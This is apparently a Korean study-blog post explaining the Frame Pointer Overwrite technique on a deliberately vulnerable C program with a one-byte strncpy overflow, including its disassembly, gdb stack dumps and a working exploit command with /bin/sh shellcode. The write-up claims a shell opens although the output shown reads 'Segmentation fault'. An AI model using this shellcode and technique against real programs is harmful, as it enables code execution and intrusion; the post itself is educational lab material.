-
FPO(Frame Pointer Overwrite]Hack/Pwnable 2015. 12. 2. 03:36
FPO는 1바이트를 덮음으로써 함수가 끝나기전 leave 명령으로 mov ebp,esp 와 pop ebp가 존재한다.
우리는 BUF + SFP + RET인점을 이용해서 1바이트 오버플로우로 인해 0Xbfffff??, 한바이트를 바꿀수있는데, 이로서 쉘코드를 실행할수있는 장점이존재한다.
#include <stdio.h>
#include <string.h>
void overflow(char *arg)
{
char buffer[40];
strncpy(buffer,arg,41);
printf("%s",buffer);
}
int main(int argc, char *argv[])
{
overflow(argv[1]);
}
아주 간단한 코드이다.overflow함수로 인자를 넘겨주는데 argv1을 넘기고 strncpy에서 버퍼+1만큼의 사이즈를 넣을수있다. 정확히 1바이트 오버플로우가 존재한다.0x0804844d <+0>: push %ebp
0x0804844e <+1>: mov %esp,%ebp
0x08048450 <+3>: sub $0x34,%esp
0x08048453 <+6>: movl $0x29,0x8(%esp)
0x0804845b <+14>: mov 0x8(%ebp),%eax
0x0804845e <+17>: mov %eax,0x4(%esp)
0x08048462 <+21>: lea -0x28(%ebp),%eax
0x08048465 <+24>: mov %eax,(%esp)
0x08048468 <+27>: call 0x8048340 <strncpy@plt>
0x0804846d <+32>: lea -0x28(%ebp),%eax
0x08048470 <+35>: mov %eax,0x4(%esp)
0x08048474 <+39>: movl $0x8048530,(%esp)
0x0804847b <+46>: call 0x8048310 <printf@plt>
0x08048480 <+51>: leave
0x08048481 <+52>: ret
leave 라는 가젯이 존재한다. 쉘코드를 넣고 ebp를 확인해보자
(gdb) r $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*15')
딱 40바이트를 맞춰주고 스택을 확인해보자(gdb) x/20x $esp-40xbffff564: 0x0804846d 0xbffff574 0xbffff7c9 0x000000290xbffff574: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e0xbffff584: 0x89e18953 0xcd0bb0c2 0x90909080 0x909090900xbffff594: 0x90909090 0x90909090 0xbffff588 0x080484970xbffff5a4: 0xbffff7c9 0x00000000 0xb7e2fa83 0x00000002esp에 쉘코드시작주소가 들어가있고, 쉘코드를 넣고나서 바로뒤에 41바이트째엔 ebp가 들어가있다 저 주소를 우리가 조작할수있다는점을 주목하면, 우리가 다음 ebp를 esp로 맞춰버린다면 쉘코드가 실행될것이다. 직접 해보자Starting program: /home/s0ngsari/Desktop/study/febp/fpo $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*15 + "\x74"')Breakpoint 1, 0x08048468 in overflow ()(gdb) ni0x0804846d in overflow ()(gdb) x/20x $esp-40xbffff564: 0x0804846d 0xbffff574 0xbffff7c9 0x000000290xbffff574: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e0xbffff584: 0x89e18953 0xcd0bb0c2 0x90909080 0x909090900xbffff594: 0x90909090 0x90909090 0xbffff574 0x080484970xbffff5a4: 0xbffff7c9 0x00000000 0xb7e2fa83 0x00000002정상적으로 덮여졌다.이제 실제 쉘상에서 넣어보도록하자.root@s0ngsari-virtual-machine:~/Desktop/study/febp# ./fpo $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*15 + "\x74"')Segmentation fault (core dumped)#정상적으로 쉘이뜨게된다.유저가 1바이트를 오버플로우시킬수있다면 뒤에 위치하는 ebp를 조작해서 다음 실행할때 쉘코드 시작지점으로 바꿔 베이스포인터가 쉘코드를 가리켜, 결국 쉘코드가 실행되게 된다'Hack > Pwnable' 카테고리의 다른 글
kext(kernel extension) (0) 2015.12.07 Fake EBP (0) 2015.12.04 Sigreturn Oriented Programming(SROP) (0) 2015.11.24 Improper Null Termination (SSP) (0) 2015.11.20 puts 어셈블리 프로그래밍 (0) 2015.10.06